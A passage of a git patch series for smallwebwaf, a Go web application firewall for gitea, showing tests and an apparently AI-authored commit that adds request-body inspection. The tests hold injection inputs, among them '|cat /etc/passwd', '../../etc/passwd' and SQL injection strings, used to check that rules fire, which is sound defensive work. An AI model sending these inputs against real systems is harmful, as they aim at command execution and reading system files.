+// them a critical one, which adds 5 to the score. +func matched(ids ...int) waf.Result { + const critical = 5 + + return waf.Result{RuleIDs: ids, Score: critical * len(ids)} +} + +// atDefaults returns the Core Rule Set as smallwebwaf runs it by default. +func atDefaults(t *testing.T) *waf.CoreRuleSet { + t.Helper() + + return newCoreRuleSet(t, 1, defaultDisabledRules...) +} + +// wantChange checks that crs lets through passes, a gitea request one of +// the six changes is for, and still finds result in refused, a request +// like it that the change is not for. +func wantChange( + t *testing.T, crs *waf.CoreRuleSet, passes, refused request, result waf.Result, +) { + t.Helper() + + wantResult(t, crs, passes, waf.Result{}) + wantResult(t, crs, refused, result) +} + +func TestPutPatchAndDeleteAreAllowed(t *testing.T) { + t.Parallel() + + crs := atDefaults(t) + + for _, r := range []request{ + {http.MethodPut, "/v2/owner/image/blobs/uploads/1?digest=sha256:ab", nil}, + {http.MethodPatch, "/api/v1/repos/owner/repo/issues/1", nil}, + {http.MethodDelete, "/api/v1/repos/owner/repo/branches/old", nil}, + } { + wantChange(t, crs, r, request{http.MethodTrace, r.target, nil}, matched(911100)) + } + + wantChange(t, crs, get("/"), request{"PROPFIND", "/", nil}, matched(911100)) +} + +func TestExpectAndContentEncodingAreAllowed(t *testing.T) { + t.Parallel() + + const ( + pushType = "Content-Type: application/x-git-receive-pack-request" + fetchType = "Content-Type: application/x-git-upload-pack-request" + length = "Content-Length: 1024" + push = "/owner/repo.git/git-receive-pack" + fetch = "/owner/repo.git/git-upload-pack" + ) + + crs := atDefaults(t) + + wantResult(t, crs, + request{http.MethodPost, push, []string{pushType, length, "Expect: 100-continue"}}, + waf.Result{}) + wantResult(t, crs, + request{http.MethodPost, fetch, []string{ + fetchType, length, "Content-Encoding: gzip", + }}, + waf.Result{}) + + // Every other header on the Core Rule Set's list stays refused. + for _, header := range []string{ + "Proxy: http://proxy.example", + "Lock-Token: token", + "Content-Range: bytes 0-1023/1024", + "If: token", + "X-HTTP-Method-Override: DELETE", + "X-HTTP-Method: DELETE", + "X-Method-Override: DELETE", + "X-Middleware-Subrequest: middleware", + } { + wantResult(t, crs, + request{http.MethodPost, push, []string{pushType, length, header}}, + matched(920450)) + } +} + +func TestTransferEncodingIsRead(t *testing.T) { + t.Parallel() + + // git sends a large push in chunks, with no Content-Length. Without + // Transfer-Encoding, that would be a POST without a length (920180). + wantResult(t, atDefaults(t), + request{http.MethodPost, "/owner/repo.git/git-receive-pack", []string{ + "Content-Type: application/x-git-receive-pack-request", + "Transfer-Encoding: chunked", + }}, + waf.Result{}) +} + +func TestMoreQueryParametersThanCorazaKeepsIsAMatch(t *testing.T) { + t.Parallel() + + const attack = "id=1'%20OR%20'1'='1" + + crs := atDefaults(t) + + // Coraza keeps 1000: an attack that is the 1000th is read, and one + // after it is not, but the request is a match all the same. + wantResult(t, crs, get("/?"+strings.Repeat("a=1&", 999)+attack), matched(942100)) + wantResult(t, crs, get("/?"+strings.Repeat("a=1&", 1000)+attack), matched(900300)) +} + +func TestRedirectURIMayNameALocalAddress(t *testing.T) { + t.Parallel() + + const oauth = "/login/oauth/authorize?client_id=tea&response_type=code&" + + crs := atDefaults(t) + + wantChange(t, crs, get(oauth+"redirect_uri=http://127.0.0.1:52341/"), + get(oauth+"next=http://127.0.0.1:52341/"), matched(931100, 934110)) + wantChange(t, crs, get(oauth+"redirect_uri=http://localhost:52341/"), + get(oauth+"next=http://localhost:52341/"), matched(934110)) +} + +func TestParametersGiteaSendsNamesInSkipTheListsOfFilesPathsAndCommands(t *testing.T) { + t.Parallel() + + crs := atDefaults(t) + + for _, value := range []struct { + name string + // result is what a parameter that is not one of gitea's gets. + result waf.Result + }{ + // A file on the list of system files. + {".gitignore", matched(930120)}, + // A command's name, after a directory on the list of shell paths. + {"bin/docker-entrypoint", matched(932260, 932160)}, + } { + for _, parameter := range []string{ + "path", "files", "skip-to", "sub_path", "ref", "sha", "branch", "workflow", + "artifactName", "redirect_to", + } { + wantChange(t, crs, get("/?"+parameter+"="+value.name), + get("/?q="+value.name), value.result) + } + } + + // What only those rules refuse gets through there too, but path + // traversal and SQL injection are still refused. + wantChange(t, crs, get("/?path=|cat%20/etc/passwd"), get("/?q=|cat%20/etc/passwd"), + matched(930120, 932160)) + wantResult(t, crs, get("/?path=../../etc/passwd"), + waf.Result{RuleIDs: []int{930100, 930110}, Score: 20}) + wantResult(t, crs, get("/?path=1'%20OR%20'1'='1"), matched(942100)) +} + +func TestParameterNamesAreMatchedWithoutRegardToCase(t *testing.T) { + t.Parallel() + + crs := atDefaults(t) + + wantChange(t, crs, get("/?Path=.gitignore"), get("/?q=.gitignore"), matched(930120)) + wantChange(t, crs, get("/?REDIRECT_URI=http://127.0.0.1:52341/"), + get("/?next=http://127.0.0.1:52341/"), matched(931100, 934110)) +} + +func TestCookiesGiteaFlashAndRedirectToAreNotRead(t *testing.T) { + t.Parallel() + + const ( + flash = "success%3DFile%2Bpackage.json%2Bdeleted" + redirectTo = "%2Fowner%2Frepo%2Fsrc%2Fbranch%2Fmain%2Fpackage.json" + ) + + crs := atDefaults(t) + + wantChange(t, crs, get("/owner/repo", "Cookie: gitea_flash="+flash), + get("/owner/repo", "Cookie: flash="+flash), matched(930120)) + wantChange(t, crs, get("/", "Cookie: redirect_to="+redirectTo), + get("/", "Cookie: redirect="+redirectTo), matched(930120)) + + // Among other cookies, which are read. + wantChange(t, crs, + get("/", "Cookie: lang=en-US; gitea_flash="+flash+"; redirect_to="+redirectTo+ + "; i_like_gitea=abc"), + get("/", "Cookie: lang=en-US; gitea_flash="+flash+"; redirect="+redirectTo+ + "; i_like_gitea=abc"), + matched(930120)) +} + +func TestRefererIsNotCheckedForACommandOrJavaStartingAProcess(t *testing.T) { + t.Parallel() + + const ( + search = "https://git.example/explore/repos?q=env" + runtimeJava = "https://git.example/openjdk/jdk/src/branch/master/src/" + + "java.base/share/classes/java/lang/Runtime.java" + ) + + crs := atDefaults(t) + + wantChange(t, crs, get("/", "Referer: "+search), get("/", "User-Agent: "+search), + matched(932340)) + wantChange(t, crs, get("/", "Referer: "+runtimeJava), + get("/", "X-Page: "+runtimeJava), matched(944110)) + + // It is still checked for script and SQL injection. + wantResult(t, crs, + get("/", "Referer: https://git.example/?q="), + matched(941110, 941160)) + wantResult(t, crs, get("/", "Referer: https://git.example/?q=1' OR '1'='1"), + matched(942100)) +} + +func TestEmptyHeaderIsRead(t *testing.T) { + t.Parallel() + + // An empty User-Agent is a notice, which adds 2. + wantResult(t, atDefaults(t), get("/", "User-Agent: "), + waf.Result{RuleIDs: []int{920330}, Score: 2}) +} + +func TestParanoiaLevel(t *testing.T) { + t.Parallel() + + // Accept-Charset is refused from paranoia level 2. + r := get("/", "Accept-Charset: utf-8") + + wantResult(t, newCoreRuleSet(t, 1), r, waf.Result{}) + wantResult(t, newCoreRuleSet(t, 2), r, matched(920451)) +} + +func TestEachDisabledRuleIsSwitchedOff(t *testing.T) { + t.Parallel() + + // A method not allowed, and a Host that is an IP address, a warning, + // which adds 3. + r := request{http.MethodTrace, "/", []string{"Host: 192.0.2.1"}} + + wantResult(t, newCoreRuleSet(t, 1), r, + waf.Result{RuleIDs: []int{911100, 920350}, Score: 8}) + wantResult(t, newCoreRuleSet(t, 1, 920350, 911100), r, waf.Result{}) +} From 6fcbda6ecee3f9cb784cff770c887c29a23fb528 Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Thu, 8 Oct 2026 12:59:13 +0200 Subject: [PATCH 49/64] Core Rule Set reads request bodies up to SWWAF_WAF_BODY_LIMIT (closes #116) SWWAF_WAF_BODY_LIMIT (default off, at most 1G) has the Core Rule Set read form data and multipart up to the limit, the rest streaming on, and JSON and XML no larger than it, with text/json and the application and text types ending in +json or +xml. The part read is held for the app. A size or time limit met while reading ends the request. Content-Encoding is refused again on these kinds. A body Coraza cannot parse, or a multipart body failing its strict checks, adds 5, as does a multipart body the limit cuts in a part's headers before a colon or a line feed. Coraza is built with no_fs_access, so writes no file. Rule 900300 moves to phase 2. Judgement call: Content-Encoding is refused on a JSON or XML body too large to read, as SPEC.md allows. Model: opus-5-5 --- Dockerfile | 14 +- README.md | 124 ++++++---- internal/config/config.go | 33 ++- internal/config/config_test.go | 35 ++- internal/proxy/bodies.go | 13 +- internal/proxy/coreruleset.go | 46 +++- internal/proxy/coreruleset_test.go | 198 +++++++++++++++ internal/proxy/proxy.go | 9 +- internal/proxy/request.go | 21 +- internal/waf/waf.go | 168 ++++++++++--- internal/waf/waf_test.go | 372 ++++++++++++++++++++++++++++- script/build | 4 +- 12 files changed, 937 insertions(+), 100 deletions(-) diff --git a/Dockerfile b/Dockerfile index ad8e072..0cb913c 100644 --- a/Dockerfile +++ b/Dockerfile @@ -36,11 +36,12 @@ RUN go mod tidy -diff || \ { echo "go.mod or go.sum is not tidy: run make tidy" >&2; exit 1; } # Go's build cache is kept on a tmpfs, out of the image: nothing uses it -# after this step, and writing it into the image takes seconds. +# after this step, and writing it into the image takes seconds. The tests +# are built with the no_fs_access tag, as the binary is in the build stage. RUN --mount=type=tmpfs,target=/root/.cache/go-build \ - go test -timeout 90s -race -cover ./... || \ + go test -tags no_fs_access -timeout 90s -race -cover ./... || \ { echo "--- Rerunning with -v for details ---"; \ - go test -timeout 90s -race -v ./...; exit 1; } + go test -tags no_fs_access -timeout 90s -race -v ./...; exit 1; } # Tidy stage: `go mod tidy` in the test phase's Go, so that the files it # writes pass the test phase's check. Nothing else depends on it, so only @@ -84,7 +85,10 @@ COPY . . # The VERSION build arg when one is given, otherwise # `git describe --tags --always` on the .git in the build context. With # .git present, a version that is still empty, dev or unknown fails the -# build: git is missing or could not read the checkout. +# build: git is missing or could not read the checkout. The no_fs_access +# tag keeps Coraza from writing the files of a multipart body to the +# system's temporary directory, since smallwebwaf writes only to its state +# directory. ARG VERSION RUN VERSION="${VERSION:-$(git describe --tags --always)}"; \ if [ -e .git ]; then \ @@ -93,7 +97,7 @@ RUN VERSION="${VERSION:-$(git describe --tags --always)}"; \ exit 1 ;; \ esac; \ fi; \ - CGO_ENABLED=0 go build -trimpath \ + CGO_ENABLED=0 go build -tags no_fs_access -trimpath \ -ldflags="-s -w -X main.Version=${VERSION}" \ -o /usr/local/bin/smallwebwaf ./cmd/smallwebwaf diff --git a/README.md b/README.md index 95f9404..95e62e2 100644 --- a/README.md +++ b/README.md @@ -64,11 +64,10 @@ cannot read, serves Prometheus metrics to a scraper that holds the metrics token, lets an admin who holds the admin token list, add and lift bans and ask what it knows of a client, and in `observe` mode passes on the requests it would refuse, logging what it would have done with them. It comes as the image the -app's own image is built on. The Core Rule Set reads no request body yet: -`SWWAF_WAF_BODY_LIMIT`, which switches that on, comes with -https://git.eeqj.de/sneak/smallwebwaf/issues/116. The rest of the design comes -after that, in the order of the build order in [`SPEC.md`](SPEC.md). The survey -of existing tools that led to the design is in [`EVALUATION.md`](EVALUATION.md). +app's own image is built on. The Core Rule Set reads a request's body too once +`SWWAF_WAF_BODY_LIMIT` is set. The rest of the design comes next, in the order +of the build order in [`SPEC.md`](SPEC.md). The survey of existing tools that +led to the design is in [`EVALUATION.md`](EVALUATION.md). ## Getting started @@ -98,7 +97,9 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of - Passes each request to the app and the app's answer back unchanged: method, path, query, headers, body and status. Bodies stream through in both - directions and are never held whole in memory. A WebSocket, or any other + directions and are never held whole in memory, but for the part of a request + body the Core Rule Set reads, at most `SWWAF_WAF_BODY_LIMIT` and one byte + more, which is held until the app is sent it. A WebSocket, or any other upgraded connection, passes through, and the timeouts do not cut it. - Works out the client's address. A TCP peer outside `SWWAF_TRUSTED_PROXIES` is the client, and the forwarded headers it sends are replaced, not passed on. @@ -203,26 +204,33 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of A client in `SWWAF_ALLOW_NETS` is not checked. - Inspects each request with the OWASP Core Rule Set 4.25.0, run by Coraza, after the rule files, unless `SWWAF_WAF_MODE` is `off`: its method, its URL - with the query, and its headers, but no request body and no response. Each of - its rules that matches adds to the request's anomaly score, up to the paranoia - level `SWWAF_WAF_PARANOIA_LEVEL` sets. A request with more than 1000 query - parameters adds 5 (rule 900300), as a rule rated critical does, since Coraza - reads only the first 1000. A score at or over `SWWAF_WAF_ANOMALY_THRESHOLD`, 5 - by default, is a match: in `block` mode, the default, the request is refused - with `403`, and in `detect` mode it goes on to the app. Either way its log - line names the rules and the score (see `waf_rule_ids` and `waf_score` in - "Request log" below), and it raises a `waf_block` alert. A refusal bans no one - by itself, since the Core Rule Set takes some ordinary requests for attacks, - but it is an offence the client's history counts, and it counts toward the - error burst; a match in `detect` mode is neither. A request a rule file - refuses, one for a path `SWWAF_WAF_EXEMPT_PATHS` exempts, and one from a - client in `SWWAF_ALLOW_NETS` are not inspected. `smallwebwaf` changes the Core - Rule Set in six ways, so that gitea's ordinary requests get through, and no - setting undoes them: + with the query, and its headers, and, once `SWWAF_WAF_BODY_LIMIT` is set, its + body when it is form data, multipart, JSON or XML, as that setting below + describes; no response is inspected. Each of its rules that matches adds to + the request's anomaly score, up to the paranoia level + `SWWAF_WAF_PARANOIA_LEVEL` sets. A request with more than 1000 query + parameters, or more than 1000 fields in a form data or JSON body it reads, + adds 5 (rule 900300), as a rule rated critical does, since Coraza reads only + the first 1000. A score at or over `SWWAF_WAF_ANOMALY_THRESHOLD`, 5 by + default, is a match: in `block` mode, the default, the request is refused with + `403`, and in `detect` mode it goes on to the app. Either way its log line + names the rules and the score (see `waf_rule_ids` and `waf_score` in "Request + log" below), and it raises a `waf_block` alert. A refusal bans no one by + itself, since the Core Rule Set takes some ordinary requests for attacks, but + it is an offence the client's history counts, and it counts toward the error + burst; a match in `detect` mode is neither. A request a rule file refuses, one + for a path `SWWAF_WAF_EXEMPT_PATHS` exempts, and one from a client in + `SWWAF_ALLOW_NETS` are not inspected. `smallwebwaf` changes the Core Rule Set + in six ways, so that gitea's ordinary requests get through, and no setting + undoes them: - `PUT`, `PATCH` and `DELETE` are allowed besides `GET`, `HEAD`, `POST` and `OPTIONS`; any other method stays refused. - The headers `Expect` and `Content-Encoding` are allowed; the others the Core Rule Set refuses, such as `Proxy` and `Content-Range`, stay refused. + Once `SWWAF_WAF_BODY_LIMIT` is set, `Content-Encoding` is refused again + (rule 920450) on form data, multipart, JSON and XML, the kinds of body the + Core Rule Set reads, since a compressed body cannot be inspected; so it is + on a JSON or XML body too large to be read. - The query parameter `redirect_uri` is not checked for a URL naming an IP address or `localhost` (rules 931100 and 934110), which Git Credential Manager, git-credential-oauth and tea ask to be sent back to. @@ -234,7 +242,12 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of refuse, such as `|cat /etc/passwd`; path traversal and SQL injection are still refused there. These names, and `redirect_uri` above, are matched without regard to case, as Coraza matches them, so `Path` or `PATH` is - treated as `path`. + treated as `path`. Once `SWWAF_WAF_BODY_LIMIT` is set, they are left out + in the same way among the fields of a form data or multipart body, which + Coraza holds with the query parameters, and gitea posts some of them in + its forms: `redirect_uri` when an OAuth sign-in is granted, and `ref` when + a workflow is run by hand. A field of a JSON body is named by its path, + such as `json.path`, and keeps these rules. - The cookies `gitea_flash` and `redirect_to` are not read, and `Referer` is not checked for a Unix command given without arguments (932340) or for Java starting a process (944110); it is checked by every other rule. @@ -697,6 +710,33 @@ effective settings are logged at start, unless `SWWAF_LOG_LEVEL` is `warn` or Core Rule Set does not inspect, each starting with `/`, matched as `SWWAF_RATE_LIMIT_EXEMPT_PATHS` matches its own: a request whose path holds `..`, a backslash or an encoded slash is inspected whatever its prefix. +- `SWWAF_WAF_BODY_LIMIT` (default `off`): `off` has the Core Rule Set read no + request body. A size, such as `128K`, at most `1G`, has it read a body of form + data or multipart up to that size, the rest of a longer one passing on to the + app as it arrives, without being held, and a JSON or XML body no larger than + that size, since those cannot be read in part. A body is JSON when its type is + `application/json` or `text/json`, or an `application/` or `text/` type ending + in `+json`, and XML when its type is `application/xml` or `text/xml`, or an + `application/` or `text/` type ending in `+xml`. Any other body reaches the + app uninspected, and so does a larger JSON or XML body: the Core Rule Set + would read any other body as form data, where binary content such as a git + push trips rules written for text. A body it reads that Coraza cannot parse + (rule 900440), and a multipart body that fails Coraza's strict checks (rule + 900450), add 5 to the score, as a rule rated critical does, since no rule + reads what comes after the fault. So does a multipart body the limit cuts + before the colon of a part's header line, or between the carriage return and + the line feed that end a part's header line or the empty line after its + headers, since Coraza takes the line the limit cuts for a malformed header. + The client has until `SWWAF_CLIENT_REQUEST_TIMEOUT` runs out to send the part + that is read, and a request whose body passes `SWWAF_REQUEST_MAX_BYTES` within + it is refused before anything reaches the app. Of a file in a multipart body, + Coraza counts the bytes and writes nothing. Body inspection suits apps whose + forms carry no code. In front of gitea it refuses issue and comment text, wiki + pages and files saved in the web editor that hold shell commands or code + (932125, 932235, 932250 and others), package descriptions that show code, PyPI + uploads (922130), and attachments named like `debug.log` or `config.yml` + (932180), until the rule ids the request log names are added to + `SWWAF_WAF_DISABLED_RULES`. - `SWWAF_TRAP_PATHS` (default empty): paths the app never serves and only scanners ask for, such as `/wp-login.php,/xmlrpc.php` in front of gitea; a request for one bans its client for a clear sign of attack, as a `ban` rule @@ -985,13 +1025,13 @@ which every line has. from when the request's headers had been read to when its line is written, and `duration_checks` over the same start to when the checks were done; the health check runs none, and its line has no `duration_checks`. `duration_waf`, the - part of the checks the Core Rule Set took, is there with `waf_score`. - `duration_upstream_connect`, `duration_upstream_first_byte` and - `duration_upstream_total` are there for a request passed to the app, and run - from when it was handed to the app: until there was a connection to it, new or - kept open from an earlier request, until the first byte of its answer arrived, - and until the end. The first two are left out when that never happened, as for - an app that cannot be reached. + part of the checks the Core Rule Set took, reading the part of the body it + reads included, is there with `waf_score`. `duration_upstream_connect`, + `duration_upstream_first_byte` and `duration_upstream_total` are there for a + request passed to the app, and run from when it was handed to the app: until + there was a connection to it, new or kept open from an earlier request, until + the first byte of its answer arrived, and until the end. The first two are + left out when that never happened, as for an app that cannot be reached. No body is logged, and no header but those above. `smallwebwaf`'s own messages (start, the settings, stop, errors) share the stream as JSON lines marked @@ -2214,15 +2254,17 @@ alerts, the metrics nor `reputation.json` hold it. Given as a file, with which bans the client, for a DNSBL zone's verdict, for AbuseIPDB's score, for a rate limit, which bans the client, for a trap path, which bans the client, for a `block` or `ban` rule, the latter banning the client, for a Core Rule - Set match in `block` mode, and for an announced body over the size limit; in - `observe` mode, only for the size limit, with what it would have refused for - noted in the log line. A request under `/_smallwebwaf/` that `check` lets - through is answered by `answerAdmin` instead of reaching the app. Once the - answer to a request passed to the app has ended, `countBytes` counts its bytes - for the byte limits, and once any request but the health check has ended, - `countRefusal` counts it for the error burst if it was refused after a rule - file match, a trap path or a Core Rule Set match or for its token, and - `countAnomalies` counts it for the anomaly thresholds. + Set match in `block` mode, for a body that passes the size limit or + `SWWAF_CLIENT_REQUEST_TIMEOUT` while the Core Rule Set reads it, and for an + announced body over the size limit; in `observe` mode, only for the last two, + with what it would have refused for noted in the log line. A request under + `/_smallwebwaf/` that `check` lets through is answered by `answerAdmin` + instead of reaching the app. Once the answer to a request passed to the app + has ended, `countBytes` counts its bytes for the byte limits, and once any + request but the health check has ended, `countRefusal` counts it for the error + burst if it was refused after a rule file match, a trap path or a Core Rule + Set match or for its token, and `countAnomalies` counts it for the anomaly + thresholds. - `internal/metrics`: the metrics, counted as the other parts tell it what happened, and served in the Prometheus text format. - `internal/bans`: the ban ledger: each netblock's bans with their notes, how @@ -2231,8 +2273,8 @@ alerts, the metrics nor `reputation.json` hold it. Given as a file, with - `internal/rules`: reads the rule files at start and again as they change, and tells which of their rules a request matches. - `internal/waf`: the Core Rule Set with the six changes, as Coraza's own - directives, and what it finds in a request's method, URL and headers: the - rules that matched and the anomaly score. + directives, and what it finds in a request's method, URL, headers and the part + of its body it reads: the rules that matched and the anomaly score. - `internal/lookup`: looks up each client's AS number and country through GeoJS, keeps the answers, and hands each new one to the proxy, which adds it to the client's history and to the notes of its bans; or in the lookup database, diff --git a/internal/config/config.go b/internal/config/config.go index 8bca935..bfc90f3 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -244,14 +244,16 @@ type Config struct { // level, from 1 to 4 (SWWAF_WAF_PARANOIA_LEVEL), and // WAFAnomalyThreshold the anomaly score at which a request is a match // (SWWAF_WAF_ANOMALY_THRESHOLD), 0 while it is off. WAFDisabledRules - // are the ids of its rules switched off (SWWAF_WAF_DISABLED_RULES), and + // are the ids of its rules switched off (SWWAF_WAF_DISABLED_RULES), // WAFExemptPaths the path prefixes it does not inspect - // (SWWAF_WAF_EXEMPT_PATHS). + // (SWWAF_WAF_EXEMPT_PATHS), and WAFBodyLimit the most of a request body + // it reads (SWWAF_WAF_BODY_LIMIT), 0 while it is off and it reads none. WAFMode string WAFParanoiaLevel int WAFAnomalyThreshold int WAFDisabledRules []int WAFExemptPaths []string + WAFBodyLimit int64 // TrapPaths are the paths a request for which is a clear sign of // attack (SWWAF_TRAP_PATHS), each starting with / and without a ?. TrapPaths []string @@ -396,6 +398,7 @@ var ( errNeedsDBPath = errors.New("it names the file to look clients up in") errDBPathUnused = errors.New("only file reads it") errNotOver4K = errors.New("is not a size of more than 4K, such as 32K") + errOver1G = errors.New("is more than 1G, the most Coraza reads") errNotDurationAboveZero = errors.New( "is not a duration above zero, such as 1h or 7d") errNotNumberAboveZero = errors.New( @@ -559,6 +562,7 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) { WAFDisabledRules: env.ruleIDs("SWWAF_WAF_DISABLED_RULES", "920340,920420,920440,920640,930130,930140"), WAFExemptPaths: env.pathPrefixes("SWWAF_WAF_EXEMPT_PATHS", ""), + WAFBodyLimit: env.wafBodyLimit("SWWAF_WAF_BODY_LIMIT", off), TrapPaths: env.trapPaths("SWWAF_TRAP_PATHS"), ErrorBurstThreshold: env.count("SWWAF_ERROR_BURST_THRESHOLD", "30"), LogRemoteURL: env.logRemoteURL("SWWAF_LOG_REMOTE_URL"), @@ -764,6 +768,15 @@ func (e *environment) size(name, defaultValue string) int64 { return size } +// wafBodyLimit reads the setting that is the most of a request body the +// Core Rule Set reads. +func (e *environment) wafBodyLimit(name, defaultValue string) int64 { + limit, err := parseWAFBodyLimit(e.value(name, defaultValue)) + e.check(name, err) + + return limit +} + // headerSize reads the setting that is the largest request line and // headers. func (e *environment) headerSize(name, defaultValue string) int64 { @@ -1432,6 +1445,22 @@ func parseHeaderSize(value string) (int64, error) { return size, nil } +// parseWAFBodyLimit reads the most of a request body the Core Rule Set +// reads: a size as parseSize reads it, or off, but at most 1G, since +// Coraza, which runs the Core Rule Set, refuses to load with more. +func parseWAFBodyLimit(value string) (int64, error) { + limit, err := parseSize(value) + if err != nil { + return 0, err + } + + if limit > gibibyte { + return 0, fmt.Errorf("%q %w", value, errOver1G) + } + + return limit, nil +} + // splitUnit splits a size into its number and the bytes its suffix // stands for. func splitUnit(value string) (string, int64) { diff --git a/internal/config/config_test.go b/internal/config/config_test.go index 85e113a..9234df4 100644 --- a/internal/config/config_test.go +++ b/internal/config/config_test.go @@ -96,6 +96,7 @@ const ( wafAnomalyThreshold = "SWWAF_WAF_ANOMALY_THRESHOLD" wafDisabledRules = "SWWAF_WAF_DISABLED_RULES" wafExemptPaths = "SWWAF_WAF_EXEMPT_PATHS" + wafBodyLimit = "SWWAF_WAF_BODY_LIMIT" trapPaths = "SWWAF_TRAP_PATHS" errorBurstThreshold = "SWWAF_ERROR_BURST_THRESHOLD" logRemoteURL = "SWWAF_LOG_REMOTE_URL" @@ -580,15 +581,20 @@ func TestCoreRuleSetSettings(t *testing.T) { environment{ wafMode: config.WAFModeDetect, wafParanoiaLevel: "4", wafAnomalyThreshold: "10", wafDisabledRules: "942100, 920350", wafExemptPaths: "/api/, /static/", + wafBodyLimit: "128K", }, config.Config{ WAFMode: config.WAFModeDetect, WAFParanoiaLevel: 4, WAFAnomalyThreshold: 10, WAFDisabledRules: []int{942100, 920350}, WAFExemptPaths: []string{"/api/", "/static/"}, + WAFBodyLimit: 128 << 10, }, }, { - environment{wafMode: off, wafAnomalyThreshold: off, wafDisabledRules: ""}, + environment{ + wafMode: off, wafAnomalyThreshold: off, wafDisabledRules: "", + wafBodyLimit: off, + }, config.Config{ WAFMode: config.WAFModeOff, WAFParanoiaLevel: 1, WAFAnomalyThreshold: 0, WAFDisabledRules: []int{}, WAFExemptPaths: []string{}, @@ -601,6 +607,7 @@ func TestCoreRuleSetSettings(t *testing.T) { WAFMode: cfg.WAFMode, WAFParanoiaLevel: cfg.WAFParanoiaLevel, WAFAnomalyThreshold: cfg.WAFAnomalyThreshold, WAFDisabledRules: cfg.WAFDisabledRules, WAFExemptPaths: cfg.WAFExemptPaths, + WAFBodyLimit: cfg.WAFBodyLimit, } if !reflect.DeepEqual(got, tc.want) { t.Errorf("%v gave\n%+v\nwant\n%+v", tc.env, got, tc.want) @@ -608,6 +615,15 @@ func TestCoreRuleSetSettings(t *testing.T) { } } +func TestWAFBodyLimitOf1G(t *testing.T) { + t.Parallel() + + cfg := fromEnvironment(t, environment{wafBodyLimit: "1G"}) + if cfg.WAFBodyLimit != 1<<30 { + t.Errorf("1G read as %d", cfg.WAFBodyLimit) + } +} + func TestInvalidCoreRuleSetSettingStopsTheStart(t *testing.T) { t.Parallel() @@ -636,16 +652,28 @@ func TestInvalidCoreRuleSetSettingStopsTheStart(t *testing.T) { `"-942100" is not the id of a Core Rule Set rule, ` + `a whole number such as 942100`, }, - // The paranoia level, the allowed methods, the headers refused, and - // a request with more query parameters than Coraza keeps. + // The paranoia level, the allowed methods, the headers refused, a + // request with more query parameters than Coraza keeps, and a body + // Coraza cannot parse or that fails its strict checks. {wafDisabledRules, "942100,900000", `"900000"` + setupRule}, {wafDisabledRules, "942100,900200", `"900200"` + setupRule}, {wafDisabledRules, "942100,900250", `"900250"` + setupRule}, {wafDisabledRules, "942100,900300", `"900300"` + setupRule}, + {wafDisabledRules, "942100,900440", `"900440"` + setupRule}, + {wafDisabledRules, "942100,900450", `"900450"` + setupRule}, { wafExemptPaths, "api/", `"api/" is not a path prefix starting with /, such as /assets/`, }, + { + wafBodyLimit, "128KB", + `"128KB" is not a size such as 512K, 100M or 5G, or off`, + }, + {wafBodyLimit, "2G", `"2G" is more than 1G, the most Coraza reads`}, + { + wafBodyLimit, "1073741825", + `"1073741825" is more than 1G, the most Coraza reads`, + }, } { t.Run(tc.name+"="+tc.value, func(t *testing.T) { t.Parallel() @@ -2403,6 +2431,7 @@ func TestLogsEachSettingWithItsValue(t *testing.T) { wafAnomalyThreshold: "5", wafDisabledRules: defaultWAFDisabledRules, wafExemptPaths: "", + wafBodyLimit: off, trapPaths: "", errorBurstThreshold: "30", logRemoteURL: "", diff --git a/internal/proxy/bodies.go b/internal/proxy/bodies.go index 0ac52b5..ef7110a 100644 --- a/internal/proxy/bodies.go +++ b/internal/proxy/bodies.go @@ -21,6 +21,9 @@ type requestBody struct { // SWWAF_REQUEST_MAX_BYTES. body io.ReadCloser rq *request + // readByCoreRuleSet is what the Core Rule Set read of the body before + // the request went to the app, and Read gives first. + readByCoreRuleSet []byte // waiting is true while a Read waits for the client to send more. waiting atomic.Bool // received is true once the client has sent the whole body. @@ -29,8 +32,16 @@ type requestBody struct { bytes atomic.Int64 } -// Read reads from the client's body. +// Read reads from the client's body, after what the Core Rule Set read of +// it, which has been counted already. func (b *requestBody) Read(p []byte) (int, error) { + if len(b.readByCoreRuleSet) > 0 { + n := copy(p, b.readByCoreRuleSet) + b.readByCoreRuleSet = b.readByCoreRuleSet[n:] + + return n, nil + } + b.waiting.Store(true) n, err := b.body.Read(p) b.waiting.Store(false) diff --git a/internal/proxy/coreruleset.go b/internal/proxy/coreruleset.go index d040ff4..0f79a8e 100644 --- a/internal/proxy/coreruleset.go +++ b/internal/proxy/coreruleset.go @@ -1,6 +1,9 @@ package proxy import ( + "errors" + "net/http" + "os" "time" "sneak.berlin/go/smallwebwaf/internal/alerts" @@ -16,7 +19,8 @@ import ( // SWWAF_WAF_ANOMALY_THRESHOLD is a match: it raises the waf_block alert, // and in block mode refuses the request, which is an offence its client's // history counts, and so returns ActionWAFBlocked. It returns "" for a -// request it does not refuse. +// request it does not refuse, and for one whose body meets a size or time +// limit while the Core Rule Set reads it, which it notes nothing of. func (rq *request) checkCoreRuleSet() string { cfg := rq.h.config if cfg.WAFMode == config.WAFModeOff || pathExempt(rq.in.URL, cfg.WAFExemptPaths) { @@ -24,7 +28,12 @@ func (rq *request) checkCoreRuleSet() string { } start := time.Now() - result := rq.h.coreRuleSet.Inspect(rq.in, rq.client) + + result := rq.inspect() + if rq.refused.Load() != nil { + return "" // the refusal for that limit, which check returns + } + rq.line.DurationWAF = new(requestlog.Milliseconds(time.Since(start))) rq.line.WAFRuleIDs = result.RuleIDs rq.line.WAFScore = &result.Score @@ -49,6 +58,39 @@ func (rq *request) checkCoreRuleSet() string { return requestlog.ActionWAFBlocked } +// inspect runs the Core Rule Set on the request, which reads the part of +// its body it inspects within SWWAF_CLIENT_REQUEST_TIMEOUT, and keeps that +// part for the app. A client that runs out of time is refused with 408 +// here, and a body over SWWAF_REQUEST_MAX_BYTES with 413 as it is read; +// check returns the refusal. A body that breaks off for any other reason +// is passed on as far as it came, and the request to the app fails there, +// as it would have without the Core Rule Set. +func (rq *request) inspect() waf.Result { + if rq.body == nil { + // Nothing is read of no body, so nothing can go wrong reading it. + result, _, _ := rq.h.coreRuleSet.Inspect(rq.in, rq.client, http.NoBody) + + return result + } + + _ = rq.rc.SetReadDeadline(rq.clientRequestDeadline()) + result, read, err := rq.h.coreRuleSet.Inspect(rq.in, rq.client, rq.body) + // The timeouts that run while the request 